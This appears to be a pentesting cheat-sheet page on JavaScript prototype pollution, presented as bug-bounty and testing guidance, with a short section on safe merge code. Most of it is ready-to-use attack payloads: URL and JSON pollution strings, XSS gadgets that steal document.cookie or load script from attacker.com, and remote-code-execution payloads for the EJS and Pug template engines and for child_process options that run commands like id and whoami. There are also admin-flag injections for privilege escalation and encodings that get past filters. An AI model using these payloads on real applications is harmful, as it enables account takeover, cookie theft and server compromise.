Skip to content
Web Security

Prototype Pollution

JavaScript prototype chain attacks for XSS, RCE, and privilege escalation

Core Concept

JAVASCRIPT
// Every JS object inherits from Object.prototype
let obj = {};
obj.__proto__ === Object.prototype  // true

// Polluting Object.prototype affects ALL objects
Object.prototype.polluted = "pwned";

let newObj = {};
console.log(newObj.polluted);  // "pwned" - inherited!

Detection

URL Parameters

TEXT
?__proto__[polluted]=yes
?__proto__.polluted=yes
?constructor[prototype][polluted]=yes
?constructor.prototype.polluted=yes

JSON Body

JSON
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}

Verify in Browser Console

JAVASCRIPT
// After sending payload, check:
Object.prototype.polluted  // Should return "yes" if vulnerable
{}.polluted                 // Inherited property

Client-Side Exploitation

Finding Gadgets

Search for Property Access

JAVASCRIPT
// Look for code patterns like:
if (options.property) { ... }
element[property] = value
config = { ...defaults, ...userInput }

Common Gadgets

JAVASCRIPT
// If code checks for innerHTML
if (element.innerHTML) { ... }
// Pollute: ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// If code checks for src
if (config.src) { script.src = config.src; }
// Pollute: ?__proto__[src]=data:,alert(1)//

XSS via innerHTML Gadget

TEXT
?__proto__[innerHTML]=<img/src/onerror=alert(document.cookie)>

XSS via Script Source

TEXT
?__proto__[src]=//attacker.com/xss.js
?__proto__[src]=data:,alert(1)//

XSS via Object.prototype.constructor

TEXT
?__proto__[constructor][prototype][toString]=function(){return'XSS'}

Server-Side Exploitation (Node.js)

RCE via child_process

JAVASCRIPT
// If spawn/exec uses object spread
const options = { ...userControlled };
child_process.spawn('cmd', [], options);

// Pollute shell option
{"__proto__": {"shell": "/proc/self/exe"}}
{"__proto__": {"shell": true, "NODE_OPTIONS": "--require /tmp/evil.js"}}

RCE via EJS

JAVASCRIPT
// EJS template engine
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

RCE via Pug

JAVASCRIPT
{"__proto__": {"block": {"type": "Text", "val": "x]));process.mainModule.require('child_process').execSync('whoami');//"}}}

RCE via Handlebars

JAVASCRIPT
// Compile time
{"__proto__": {"pendingContent": "<script>...</script>"}}

RCE via Lodash

JAVASCRIPT
// CVE-2019-10744
_.defaultsDeep({}, JSON.parse('{"__proto__": {"polluted": "yes"}}'));

Privilege Escalation

Admin Flag Injection

JSON
{"__proto__": {"admin": true}}
{"__proto__": {"isAdmin": true}}
{"__proto__": {"role": "admin"}}

If Code Checks

JAVASCRIPT
if (user.isAdmin) {
    // Grant access
}
// Even if user object doesn't have isAdmin
// It inherits from polluted Object.prototype

Bypass Techniques

Alternative Payloads

JAVASCRIPT
__proto__
__proto__.constructor.prototype
constructor.prototype
constructor["prototype"]

Encoding

TEXT
__proto__ → %5f%5fproto%5f%5f
__proto__[test] → __proto__%5btest%5d

Nested Pollution

JSON
{"a": {"__proto__": {"polluted": "yes"}}}

Array Prototype

JSON
{"__proto__": {"0": "injected"}}
// Affects array[0] on arrays without explicit 0 index

Identifying Vulnerable Code

Dangerous Patterns

JAVASCRIPT
// Object.assign with user input
Object.assign({}, userInput);  // SAFE (shallow)
Object.assign({}, ...nested);  // May be vulnerable

// Recursive merge (VULNERABLE)
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            target[key] = merge(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Lodash functions (old versions)
_.merge()
_.defaultsDeep()
_.set()
_.setWith()

// Set by path
obj[path] = value;  // If path = "__proto__.polluted"

Safe Code

JAVASCRIPT
// Check for __proto__
function safeMerge(target, source) {
    for (let key in source) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue;  // Skip dangerous keys
        }
        // ... rest of merge
    }
}

// Use Object.create(null)
let obj = Object.create(null);  // No prototype chain

Tools

Browser Extension

TEXT
# ppmap - Prototype Pollution client-side scanner
# ppfuzz - Automatic fuzzer

Manual Testing

JAVASCRIPT
// Inject in URL
?__proto__[testPollution]=exploited

// Check in console
{}.testPollution  // Should return "exploited"
Object.prototype.testPollution

Burp Extension

TEXT
# Server-Side Prototype Pollution Scanner
# Check Burp BApp Store

Testing Methodology

Step 1: Identify Input Vectors

TEXT
- URL parameters
- JSON API bodies
- File uploads (JSON)
- WebSocket messages

Step 2: Test for Pollution

JAVASCRIPT
// Send pollution payload
{"__proto__": {"testPollution": "yes"}}

// Send normal request, check if polluted
// Response may show testPollution value

Step 3: Find Gadgets

TEXT
- Review JavaScript for property access
- Check for known library gadgets
- Test DOM manipulations

Step 4: Achieve Impact

TEXT
- XSS via gadget
- Privilege escalation
- RCE (Node.js)

Bug Bounty Tips

Impact Classification

TEXT
- Client-side XSS → High
- Server-side RCE → Critical
- Privilege escalation → High
- DoS via pollution → Medium
- Just pollution without gadget → Low/Informational

Demonstration

TEXT
1. Show pollution works (Object.prototype modified)
2. Show gadget that uses polluted value
3. Show actual XSS/RCE achieved
4. Clearly explain the chain

Known Vulnerable Libraries

TEXT
# Check version-specific CVEs
lodash < 4.17.12
jQuery < 3.4.0
Hoek < 5.0.3
minimist < 1.2.3
mixin-deep < 1.3.2
set-value < 2.0.1
On this page